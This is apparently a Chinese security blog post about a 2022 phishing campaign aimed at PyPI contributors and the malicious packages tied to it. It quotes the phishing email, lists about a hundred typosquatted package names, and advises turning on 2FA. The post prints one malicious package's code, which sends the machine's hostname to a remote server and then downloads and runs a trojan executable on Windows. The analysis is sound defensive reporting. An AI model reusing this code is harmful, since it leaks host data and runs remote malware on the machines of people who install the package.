投毒者对 PyPi 上的开源组件开发者下手了

简述

OSCS 近期监测到 PyPi 官方发布公告称有攻击者针对 PyPi 上的开源组件开发者进行钓鱼,试图窃取 PyPi 贡献者的凭据。本次攻击是通过贼喊捉贼的假装PyPi官方给恶意包发邮箱进行钓鱼,开发者可以通过开启2FA认证防止被攻击者窃取凭据后更改项目。

钓鱼事件

通过钓鱼邮件获取 PyPi 贡献者的凭据

根据PyPi官方发布的公告得知:

PyPi 贡献者收到了一封网络钓鱼电子邮件,要求他验证他的 PyPi 凭据,导致他进入一个虚假的 PyPi 登录页面,试图窃取他的 PyPi 凭据。

钓鱼邮件的大致内容如下:

“由于PyP在过去被上传过恶意包,谷歌会对PyPi的全量包进行分析。

您收到这封邮件是因为google的安全策略,请使用谷歌验证您的包,以避免您的 PyPi 包从 PyPi.org 删除

9月前未验证的包将被及时移除

如果您目前没有贡献的 PyPi 包,请忽略此邮件

PyPi 团队”

投毒者对 PyPi 上的开源组件开发者下手了

来自攻击者发送的钓鱼邮件

虚假的 PyPi 登录页面,试图窃取 PyPi 贡献者的凭据。

投毒者对 PyPi 上的开源组件开发者下手了

虚假的PyPi登录页面

PyPi官方已声明在不违反TOS或确定为有危害的项目时候,并不会从索引中删除有效的项目。

投毒者对 PyPi 上的开源组件开发者下手了

投放恶意组件包

PyPi 的官方推特账号报告称,这次网络钓鱼攻击与数百个恶意 python 包在内以及更广泛的事件有关。这些恶意软件包已从注册表中删除。

投毒者对 PyPi 上的开源组件开发者下手了

以其中的一个恶意包为例子:

from setuptools import setup, find_packages
import os 
import requests
from setuptools.command.install import install
from sys import platform
def send():
    try:
        env = os.environ['COMPUTERNAME']
        t = requests.get("https://linkedopports.com/pyp/resp.php?live=Installation " +env)
        if platform == 'win32':
            url = 'https://python-release.com/python-install.scr'
            filename = 'ini_file_pyp_32.exe'
            rq = requests.get(url, allow_redirects=True)
            open(filename, 'wb').write(rq.content)
            os.system('start '+filename)
    except:
        pass 

demo.py

从上述恶意包的代码中可以直观发现两个可疑的url

攻击者将 os.environ[‘COMPUTERNAME’] 主机名传输到https://linkedopports.com/pyp/resp.php?live=Installation

攻击者从https://python-release.com/python-install.scr去下载python-install.scr[木马程序]并去执行它。

总结

OSCS分析认为目前攻击者在不断更新攻击手法,在不断注册小号投毒的基础上,开始试图通过窃取开发者用户账号进行投毒,如果有知名项目被窃取PyPi 凭据,后果不堪设想。

如果您是 PyPi 贡献者,请开启2FA认证防止被窃取凭证后影响PyPi项目。

参考链接

https://www.oscs1024.com/hd/MPS-2022-56085

https://twitter.com/pypi/status/1562442188285308929

附录

目前这些恶意组件的部分在国内清华源中还未删除,请研发同学避免下载以下恶意包,列表如下:

组件名作者
firstbasicpyappfirstbasicpyapp
coingecko-apisfirstbasicpyapp
coinmarketcapsfirstbasicpyapp
igtoolfirstbasicpyapp
monkeytypesfirstbasicpyapp
multipornfirstbasicpyapp
opencb-pythonfirstbasicpyapp
opencvv-pythonfirstbasicpyapp
pyteseractfirstbasicpyapp
seleniunfirstbasicpyapp
manganekoelevatepyapp
bcryptoelevatepyapp
deep-translateelevatepyapp
discord.ptelevatepyapp
discord.puelevatepyapp
instabotselevatepyapp
psycogp2elevatepyapp
pycryptdomeelevatepyapp
pycryptodomeselevatepyapp
pyptttelevatepyapp
pytttsx3elevatepyapp
pywin31elevatepyapp
pywin33elevatepyapp
redistelevatepyapp
tiktok-botselevatepyapp
yandex-mapelevatepyapp
arcalifefirstbasicpyapp
linkedin-scrapefirstbasicpyapp
memory-profilefirstbasicpyapp
osrs-hiscorefirstbasicpyapp
pymongosinspired13firstbasicpyapp
selenuimfirstbasicpyapp
ymongofirstbasicpyapp
1337cpraisepyapp
1337zpraisepyapp
andex-mapspraisepyapp
deep-translationpraisepyapp
eautifulsoup4praisepyapp
emoji-country-flagspraisepyapp
emokipraisepyapp
etuptoolspraisepyapp
keybaordpraisepyapp
pencv-pythonpraisepyapp
proxyscropepraisepyapp
pydobcpraisepyapp
speechrecongitionpraisepyapp
xlibrarypraisepyapp
yautoguipraisepyapp
ypttpraisepyapp
etuptoolpypiappz
deeeplpypiappz
discordhookpypiappz
eeplpypiappz
eleniumpypiappz
igtoolzpypiappz
proxycrapepypiappz
proxyrapepypiappz
statmodelpypiappz
statmodelspypiappz
statsmodelpypiappz
yaudiopypiappz
yinancepypiappz
yinstallerpypiappz
ywin32pypiappz
asn2cryptopypzz
bitcoinlivpypzz
crypto-data-fetchpypzz
crypto-get-pricepypzz
crypto-openpypzz
crypto-ospypzz
cryptobalancepypzz
django-metamaks-authpypzz
django-metamask-autpypzz
django-web2-authpypzz
django-web3-autpypzz
django-web4-authpypzz
hamenipypzz
historic-cryptpypzz
jango-metamask-authpypzz
jango-web3-authpypzz
pyvryptopypzz
pyxryptopypzz
ycryptopypzz
ycryptodomepypzz
ccsvpypzz1
contextlivpypzz1
cryptographyypypzz1
csvvpypzz1
cvspypzz1
flak7pypzz1
flak8pypzz1
flake7pypzz1
fuzywuzypypzz1
fuzywuzzypypzz1
fuzzywuzypypzz1
fuzzzywuzzypypzz1
hreadingpypzz1
laysoundpypzz1
playsounpypzz1
pyinstalerpypzz1
rgparsepypzz1
threadinpypzz1
threedingpypzz1
uzzywuzzypypzz1
we3pypzz1
wec3pypzz1
weg3pypzz1
wen3pypzz1

情报订阅

OSCS(开源软件供应链安全社区)通过最快、最全的方式,发布开源项目最新的安全风险动态,包括开源组件安全漏洞、事件等信息。同时提供漏洞、投毒情报的免费订阅服务,社区用户可通过配置飞书、钉钉、企业微信机器人,及时获得一手情报信息推送:

https://www.oscs1024.com/?src=wx

具体订阅方式详见:

https://www.oscs1024.com/docs/vuln-warning/intro/?src=wx

投毒者对 PyPi 上的开源组件开发者下手了

发布者:墨菲安全,转发请注明出处:https://www.murphysec.com/blog/poisoning-analysis/4390.html

(0)
上一篇 2023年1月5日 14:45
下一篇 2023年1月5日 14:51

相关推荐

  • 开源无国界?vue-cli、node-ipc被投毒事件分析

    开源无国界?vue-cli、node-ipc被投毒事件分析 简述 近日我们监测到Vue.js生态中的vue-cli包遭遇供应链投毒,而被投毒的node-ipc包在npm上每周下载量超百万,影响非常广泛。 被投毒的情况如下: (问题组件每周下载量截图) 事件时间线 3月7号 开发者RIAEvangelist在node-ipc包中添加名为ssl-geospec….

    2023年1月4日
  • 小心白蛇!PyPI仓库被持续投放White Snake后门组件

    背景 墨菲安全实验室在持续监测开源软件仓库中的投毒行为,4 月 14 日起陆续发现至少 41 个包含白蛇(White Snake)后门的 Python 包被发布到 PyPI 仓库,目前相关的后门包仍在持续发布。 事件简述 白蛇 (WhiteSnake)是在今年 2 月份开始持续活跃、以信息窃取为目的的后门软件,其通过 telegram 等渠道进行售卖,按照不…

    2023年5月12日
  • OSCS发现PyPI官方仓库遭遇150+恶意包疯狂投毒

    一、事件简述 2022 年 06 月 23 日,OSCS 开源安全社区监测发现 PyPI 官方仓库被攻击者上传了agoric-sdk,datashare,datadog-agent等150+个恶意钓鱼包,OSCS官方提醒广大开发者关注。 PyPI 是 Python 的包管理工具,提供了对第三方 Python 包的查找、下载、安装、卸载等功能。攻击者mega7…

    2023年1月4日
  • npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

    一、事件简述 1月5日,有开发者在 twitter 中发文称遭遇了名为 chalk-next 的组件投毒事件,该组件存在收集配置信息和删除本地文件的恶意逻辑,当前 NPM 仓库已经下线了该组件。 chalk-next 组件的开发者也是 vue-admin-beautiful 项目的作者 chuzhixin,vue-admin-beautiful 项目在 Gi…

    2023年1月6日
  • 多个不同名称的 PyPI 包中发现 W4SP 窃取器

    威胁参与者已经向 Python 包索引(PyPI)发布了另一轮恶意软件包,目的是在受到威胁的开发人员机器上发布窃取信息的恶意软件。 有趣的是,尽管这个恶意软件有很多名字,比如ANGEL Stealer,Celestial Stealer,Fade Stealer,Leaf $tealer,PURE Stealer,Satan Stealer和@skid St…

    2023年2月17日

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

联系我们

400-180-9568

邮件:hi@murphysec.com

工作时间:周一至周五,10:00-19:00,节假日休息

关注公众号

20230105-100741